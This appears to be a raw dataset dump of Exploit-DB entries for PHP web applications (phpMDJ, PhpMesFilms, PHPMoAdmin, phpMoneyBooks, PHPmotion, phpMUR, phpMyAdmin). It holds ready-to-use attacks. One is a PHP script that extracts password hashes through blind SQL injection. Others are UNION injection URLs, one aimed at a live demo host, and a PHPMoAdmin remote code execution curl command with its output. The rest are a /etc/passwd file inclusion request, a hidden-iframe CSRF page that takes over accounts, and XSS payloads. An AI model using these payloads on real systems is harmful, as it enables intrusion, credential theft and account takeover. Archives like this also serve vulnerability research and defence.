deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7724
Description: phpMDJ 1.0.3 - 'id_animateur' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-11
Author: darkjoker

Exploit:
--+++=========================================================+++--
--+++====== phpMDJ <= 1.0.3 Blind SQL Injection Exploit ======+++--
--+++=========================================================+++--

<?php

function query ($usr, $chr, $pos)
{
	$query = "x' OR ASCII(SUBSTRING((SELECT mdp FROM phpmdj_users WHERE pseudo = '{$usr}'),{$pos},1))={$chr} OR '1' = '2";
	$query = str_replace (" ", "%20", $query);
	$query = str_replace ("'", "%27", $query);
	return $query;
}

function exploit ($hostname, $path, $usr, $chr, $pos)
{
	$chr = ord ($chr);

	$fp = fsockopen ($hostname, 80);

	$query = query ($usr, $chr, $pos);
	$request = "GET {$path}/animateurs.php?id_animateur={$query} HTTP/1.1\r\n".
		   "Host: {$hostname}\r\n".
		   "Connection: Close\r\n\r\n";

	fputs ($fp, $request);

	while (!feof ($fp))
		$reply .= fgets ($fp, 1024);
	
	fclose ($fp);
	preg_match ("/Les animateurs<\/a> :(.+)<\/h2>/", $reply, $x);

	if (strlen (trim ($x [1])) == 0)
		return false;
	else
		return true;
}

function usage ()
{
	echo
		"\n[+] phpMDJ <= 1.0.3 Blind SQL Injection Exploit".
		"\n[+] Author: darkjoker".
		"\n[+] Site  : http://darkjoker.net23.net".
		"\n[+] Usage : php xpl.php <hostname> <path> <username>".
		"\n[+] Ex.   : php xpl.php localhost /phpMDJ admin".
		"\n\n";
	exit ();
}

if ($argc != 4)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdef[PII_REDACTED]";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
	if (exploit ($hostname, $path, $user, $key [$chr], $pos))
	{
		echo $key [$chr];
		$chr = -1;
		$pos++;
	}
	$chr++;
}

echo "\n\n";

# milw0rm.com [2009-01-11]
Exploit-DB #11083
Description: phpMDJ 1.0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-10
Author: k4cp3r & Ablus

Exploit:
,--------------------------------------------------------------,
> Vulnerable Script : phpMDJ 1.0.3                             \
> Download : http://www.weboac.be/phpmdj/docs/phpmdj1.0.3.zip  \
> Vulnerability : Remote Sql Injection                         \
'--------------------------------------------------------------'

,-------------------------------------------------------------------------------------------------------------------------------------,
> Profile.php															      \
> Line 14 : $membre = $_GET['id'];												      \
> Line 15 :															      \
> Line 16 : $sql = "SELECT a.nom AS nGroupe, u.* FROM phpmdj_users u, phpmdj_auth a WHERE u.groupe = a.id_groupe AND u.id = $membre"; \
>																      \
> Injection:															      \
> http://site/path/profile.php?id=[SQL]												      \
>																      \
> Example:															      \
> http://site/path/profile.php?id=-1 union select 1,2,3,mdp,5,6,pseudo,8,9,10,11,12,13,14,15,16 FROM phpmdj_users where id=1--	      \
'-------------------------------------------------------------------------------------------------------------------------------------'
Exploit-DB #7660
Description: PHPMesFilms 1.0 - 'index.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-04
Author: SuB-ZeRo

Exploit:
[~] in the name of God
[~]
[~] Download script : http://www.script-masters.com/home/download.php?script=138
[~]
[~]----------------------------------------------------------
[~] Discovered By: SuB-ZeRo(from algeria)   msn: FbH@hotmail.com
[~]
[~] D-unit : SuB-ZeRo & Me!sTer & HaLokA
[~]
[~] Home: www.dz-security.net/ my exploit : www.dz-security.net/subzero
[~]
[~] N0T: We ArE MoUsLiMme WiThE GaZa 4 ever
[~] -----------------------------------------------------------
dork : powered by PhpMesFilms
Exploit:
http://www.sit.com/script/index.php?id=3+union+select+1,concat(user(),0x3a,@@version),3,4,5,6,7,8,9,10--
---------------------------------------------------------------------------------------------
L!Ve DeMo:
http://phpmesfilms.dyndns.org/demo/index.php?id=3+union+select+1,concat(user(),0x3a,@@version),3,4,5,6,7,8,9,10--
 not : in this script some times version is 4 and some times is 5 have nice day
[~]----------------------------------------------------------------------
[~] Greetz tO: Me!sTer & HaLoKa & MaXi32 & Dz-TeAm and all algeria & gaza
[~] we are D-unit www.dz-security.net
[~]----------------------------------------------------------------------

# milw0rm.com [2009-01-04]
Exploit-DB #12222
Description: PhpMesFilms 1.8 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-14
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : PhpMesFilms 1.8 SQL Injection Vulnerability
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                                 
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : SQl                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1- http://127.0.0.1/phpmesfilms_1.8/index.php?id=3+union+select+1,2,3,4,concat(user(),0x3a,@@version),6,7,8,9,10--
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : (loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #36251
Description: PHPMoAdmin - Unauthorized Remote Code Execution
Type: webapps
Platform: php
Date: 2015-03-03
Author: @u0x

Exploit:
######################################################################
#  _     ___  _   _  ____  ____    _  _____
#  | |   / _ \| \ | |/ ___|/ ___|  / \|_   _|
#  | |  | | | |  \| | |  _| |     / _ \ | |
#  | |__| |_| | |\  | |_| | |___ / ___ \| |
#  |_____\___/|_| \_|\____|\____/_/   \_\_|
#
# PHPMoAdmin Unauthorized Remote Code Execution (0-Day)
# Website : http://www.phpmoadmin.com/
# Exploit Author : @u0x (Pichaya Morimoto), Xelenonz, pe3z, Pistachio
# Release dates : March 3, 2015
#
# Special Thanks to 2600 Thailand group
# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
#
########################################################################

[+] Description
============================================================
PHPMoAdmin is a MongoDB administration tool for PHP built on a
stripped-down version of the Vork high-performance framework.

[+] Exploit
============================================================
Someone was trying to sale this shit for 3000usd lolz

$ curl "http://path.to/moadmin.php" -d "object=1;system('id');exit"

[+] Proof-of-Concept
============================================================
PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7

POST /moadmin/moadmin.php HTTP/1.1
Host: 192.168.33.10
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

object=1;system('id;ls -lha');exit

HTTP/1.1 200 OK
Date: Tue, 03 Mar 2015 16:57:40 GMT
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: PHPSESSID=m0ap55aonsj5ueph7hgku0elb1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 223
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 116K
drwxr-xr-x 1 longcat longcat  102 Mar  3 16:55 .
drwxr-xr-x 6 root    root    4.0K Mar  3 16:17 ..
-rw-rw-r-- 1 longcat longcat 112K Mar  3 16:55 moadmin.php

[+] Vulnerability Analysis
============================================================
Filename: moadmin.php
1. create new moadminComponent object
1977: $mo = new moadminComponent;

2. if the http-post parameter 'object' is set
738: class moadminComponent {
...
762: public function __construct() {
...
786: if (isset($_POST['object'])) {
787:    if (self::$model->saveObject($_GET['collection'],
$_POST['object'])) {
...

3. evaluate the value of 'object' as PHP code
692: public function saveObject($collection, $obj) {
693:    eval('$obj=' . $obj . ';'); //cast from string to array
Exploit-DB #18648
Description: phpMoneyBooks 1.0.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-03-22
Author: Mark Stanislav

Exploit:
'phpMoneyBooks' Local File Inclusion (CVE-2012-1669)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in index.php for module handling that allows for local file inclusion using a null-byte attack on the 'module' GET parameter.

 
II. TESTED VERSION
---------------------------------------
1.0.2


III. PoC EXPLOIT
---------------------------------------
http://localhost/phpMoneyBooks102/index.php?module=../../../../../etc/passwd%00


IV. NOTES 
---------------------------------------
* magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for null-byte attacks to work


V. SOLUTION
---------------------------------------
Upgrade to 1.0.3 or above.


VI. REFERENCES
---------------------------------------
http://phpmoneybooks.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1669


VII. TIMELINE
---------------------------------------
02/29/2012 - Initial vendor disclosure
03/01/2012 - Vendor patched and released an updated version
03/22/2012 - Public disclosure
Exploit-DB #19452
Description: phpmoneybooks 1.03 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-29
Author: chap0

Exploit:
# Exploit Title: phpmoneybooks 1.03 Stored XSS
# Date: Jun 28, 2012
# Exploit Author: chap0 - chap0.blogspot.com - @_chap0
# Vendor Homepage: http://phpmoneybooks.com/
# Software Link: http://sourceforge.net/projects/phpmoneybooks/files/phpMoneyBooks103.zip/download
# Version: 1.03
# Patch: Upgrade to 1.04

Vendor Description:
phpMoneyBooks is an open sourced php/mysql program. A free alternative to QuickBooks.

Summary:
phpmoneybooks 1.03 is vulnerable to Stored XSS vulnerability enabling an attacker
to execute arbitrary JavaScript code withing the application. The vulnerability
can be utilized when adding a new bank account or customer account. Users other
then the admin account are able to input this information which in return can
enable the super admin user to fall victim to this attack. The vulnerable index 
pages reside in /banks/index.php and /customers/index.php. 

Stored XSS example:

'><script>alert('XSS')</script>

Disclosure Timeline:
June 28, 2012 - Contacted Vendor
June 28, 2012 - Vendor replied, and patch application

Vulnerable Code:

/banks/index.php

    40	   $_POST[AcctName]=trim($_POST[AcctName]);
    41	    if(strtolower($row[1])==strtolower($_POST['AcctName'])) {
    42	      echo "<script type='text/javascript'>
    43	        alert('Duplicate account: $_POST[AcctName] already exists.');
    44	      </script>";
    45	      $_GET[action]="AddForm";


/customers/index.php

    36	if($_GET[action]=="AddUser"){
    
    37	$query = "INSERT INTO phpMB_customers (AcctNo,DisplayName, CompanyName,MrMs,FirstName,MiddleIn,LastName,Contact,Phone,Phone2,Fax,Email,Rela
	tion,BillingAddress,ShippingAddress,Notes) VALUES ('$_POST[AcctNo]', '$_POST[DisplayName]', '$_POST[CompanyName]', '$_POST[MrMs]', 		'$_POST	[FirstName]','$_POST[MiddleIn]', '$_POST[LastName]','$_POST[Contact]',	'$_POST[Phone]', '$_POST[Phone2]','$_POST[FAX]','$_POST	 
	[Email]', 'Customer','$_POST[BillingAddress]', '$_POST[ShippingAddress]', '$_POST[Notes]')";
    
    38	QueryMysql($query);
    39	$_GET[action]="";


By adding strip_tags to the strings in the php code allows the user input to be sanitized.

A couple of other vulnerabilities that exist in this application:

 Usernames and passwords sent in clear text at log in.

The users cookie gets set as username and MD5 password of the user. With this if an
attacker inject javascript that steals cookies, the attacker will obtain the users username
and MD5 hashed password.

These two vulnerabilities are not fix, vendor was notified and is aware.
Exploit-DB #15602
Description: PHPmotion 1.62 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-11-23
Author: trycyber

Exploit:
-----------------------------------------------------------------------
phpmotion/FCKeditor  File upload vulnerabilities
-----------------------------------------------------------------------
Author		: trycyber (trycyber@magelangcyber.com)
Homepage	: http://indonesiancoder.com,magelangcyber.web.id
Vendor		: http://www.phpmotion.com/
Dork		: CIHUY ;p
Version     	: 1.62
Tested on	: Win Xp sp2	
Date		: November 23, 2010
-----------------------------------------------------------------------

I.  POC & Exploit
-----------------------------------------------------------------------
Default 	:	http://127.0.0.1/


exploit 	:	http://127.0.0.1/phpmotion/fckeditor/editor/filemanager/connectors/test.html
			

results in	:	http://127.0.0.1/userfiles/name of file	 


------------------------------------------------------------------------
Credits
------------------------------------------------------------------------
Allahu Akbar
INDONESIAN CODER ~ Magelangcyber-team ~ Kill-9 Crew ~ MC Crew
Don Tukulesto ~ kaMtiEz ~ ibl13z ~ Jundab ~ N4ck0 ~ Yurakha ~ aN93l1c ~  Mboys ~ Contrex ~  n4KuLa_
k4L0ng666 ~ Xr0b0t ~ Adipati ~ Arianom ~ t3ll0 ~ cimpli ~ Pathloader

-------------------------------------------------------------------------
"aku belajar bukan karenamu, melainkan aku ingin aku menjadi aku"

Indonesiancoder family & Magelangcyber family
Exploit-DB #7557
Description: PHPmotion 2.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2008-12-23
Author: Ausome1

Exploit:
PHPmotion <= 2.1 CSRF vulnerability

Author: Ausome1
Email: Ausorme1@gmail.com
Website: http://www.enigmagroup.org
Description: Change a member's password and/or email.
---------------------------------------------------------------------------------------------------


Social engineer a PHPMotion member to come to your web page with the following hidden iframe on 
there, which pulls in the evil script from pwned.html. This will change the victim's password and email, 
using their credentials.

We use a hidden iframe so the victim doesn't know their password was changed till it's to late. In 
the pwned.html file I recreated the form on the PHPMotion change password/email. Javascript is used 
to submit the form on page load.

Hidden iframe code:

	<iframe id="hiframe" style="visibility:hidden;display:none" src="pwned.html"></iframe>


Source of pwned.html file:

	<html>
	<head></head>
	<body onload="document.forms.invite.submit();">
	<form name="invite" action="http://demo.phpmotiontemplates.com/v2/default/password.php" method="post" class="UpdateProfileForm">
		<input type="hidden" name="submitted" value="yes" />
		<input type="password" name="password" value="password123" />
		<input type="text" name="email_address" size="36" value="NotYourEmail@anymore.com" />
		<input type="submit" value="Update settings" name="invite_fr" />
	</form>
	</html>


Once your victim has visited your evil page, You may now be able to log into their PHPMotion account, 
using password "password123" and their email will be "NotYourEmail@anymore.com".

# milw0rm.com [2008-12-23]
Exploit-DB #14615
Description: phpMUR - Remote File Disclosure
Type: webapps
Platform: php
Date: 2010-08-11
Author: Offensive

Exploit:
# Exploit Title: phpMUR Remote File Disclosure
# Date: 10/08/2010
# Author: Offensive [Offsensive@live.com] ~ Red-Stone On Inject0r Community !
# Software Link: [ http://sourceforge.net/projects/phpmur ]
# Version : [n/a]
# Tested on: Windows XP

C0nditi0ns : PHP Version > 4.x.x
Exploit Code : http://target/path/getid3/getid3.php?header=[file]

Ramadan Kareem !
Gr33t'z : SA-h4x0r ~ LoOoRd ~ Inj3ct0r M3ms & T3am
Exploit-DB #38440
Description: phpMyAdmin - 'tbl_gis_visualization.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-04-09
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/58962/info

phpMyAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

phpMyAdmin 3.5.0 through versions 3.5.7 are vulnerable. 

http://www.example.com/PMA/tbl_gis_visualization.php?db=information_schema&token=17961b7ab247b6d2b39d730bf336cebb&visualizationSettings[width]="><script>alert(123);</script>

http://www.example.com/PMA/tbl_gis_visualization.php?db=information_schema&token=17961b7ab247b6d2b39d730bf336cebb&visualizationSettings[height]="><script>alert(123);</script>
Exploit-DB #15699
Description: phpMyAdmin - Client-Side Code Injection / Redirect Link Falsification
Type: webapps
Platform: php
Date: 2010-12-06
Author: emgent white_sheep & scox

Exploit:
PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification

Credits:
  Emanuele 'emgent' Gentili   <emgent@backtrack-linux.org>
  Marco 'white_sheep' Rondini <white_sheep@backtrack-linux.org>
  Alessandro 'scox' Scoscia   <scox@backtrack.it>


In error.php, PhpMyAdmin permit to insert text and restricted tag, like BBCode.
With tag [a@url@page]Click Me[/a], you can insert your own page, and redirect all users.
Available tags are:


      '[i]'       => '<em>',      
      '[/i]'      => '</em>',     
      '[em]'      => '<em>',
      '[/em]'     => '</em>',
      '[b]'       => '<strong>',  
      '[/b]'      => '</strong>', 
      '[strong]'  => '<strong>',
      '[/strong]' => '</strong>',
      '[tt]'      => '<code>',    
      '[/tt]'     => '</code>',   
      '[code]'    => '<code>',
      '[/code]'   => '</code>',
      '[kbd]'     => '<kbd>',
      '[/kbd]'    => '</kbd>',
      '[br]'      => '<br />',
      '[/a]'      => '</a>',
      '[sup]'      => '<sup>',
      '[/sup]'      => '</sup>',

      and replace '/\[a@([^"@]*)@([^]"]*)\]/' with '<a href="\1" target="\2">'


POC:

http://127.0.0.1/phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It%27s+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.tigersecurity.it%40_self]This%20Is%20a%20Link[%2Fa]


OWASP Reference:

http://www.owasp.org/index.php/Unvalidated_Input
Exploit-DB #30733
Description: phpMyAdmin 2.11.1 - 'Server_Status.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-17
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/26301/info

phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.

This issue affects versions prior to phpMyAdmin 2.11.1.2. 

http://www.example.com/phpMyAdmin/server_status.php/"><script>alert('xss')</script>
Exploit-DB #30653
Description: phpMyAdmin 2.11.1 - 'setup.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-09
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/26020/info

phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.

This issue affects phpMyAdmin 2.11.1; other versions may also be vulnerable. 

http://www.example.com/phpMyAdmin-2.11.1/scripts/setup.php?>'"><script>alert('xss');</script>
Exploit-DB #25153
Description: phpMyAdmin 2.6 - 'display_tbl_links.lib.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-02-24
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/12644/info
 
Multiple remote cross-site scripting vulnerabilities affect phpMyAdmin. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpMyAdmin/libraries/display_tbl_links.lib.php?doWriteModifyAt=left&del_url=Smutno&is_display[del_lnk]=Mi&bgcolor=%22%3E[XSS%20code]
http://www.example.com/phpMyAdmin/libraries/display_tbl_links.lib.php?doWriteModifyAt=left&del_url=Smutno&is_display[del_lnk]=Mi&row_no=%22%3E[XSS%20code]
Exploit-DB #25152
Description: phpMyAdmin 2.6 - 'select_server.lib.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-02-24
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/12644/info

Multiple remote cross-site scripting vulnerabilities affect phpMyAdmin. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpMyAdmin/libraries/select_server.lib.php?cfg[Servers][cXIb8O3]=toja&cfg[Servers][sp3x]=toty&show_server_left=MyToMy&strServer=[XSS%20code]
http://www.example.com/phpMyAdmin/libraries/select_server.lib.php?cfg[Servers][cXIb8O3]=toja&cfg[Servers][sp3x]=toty&cfg[BgcolorOne]=777777%22%3E%3CH1%3E[XSS%20code]
http://www.example.com/phpMyAdmin/libraries/select_server.lib.php?cfg[Servers][cXIb8O3]=toja&cfg[Servers][sp3x]=toty&strServerChoice=%3CH1%3EXSS
Exploit-DB #25154
Description: phpMyAdmin 2.6 - 'theme_left.css.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-02-24
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/12644/info
  
Multiple remote cross-site scripting vulnerabilities affect phpMyAdmin. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/phpMyAdmin/themes/original/css/theme_left.css.php?num_dbs=0&left_font_family=[XSS]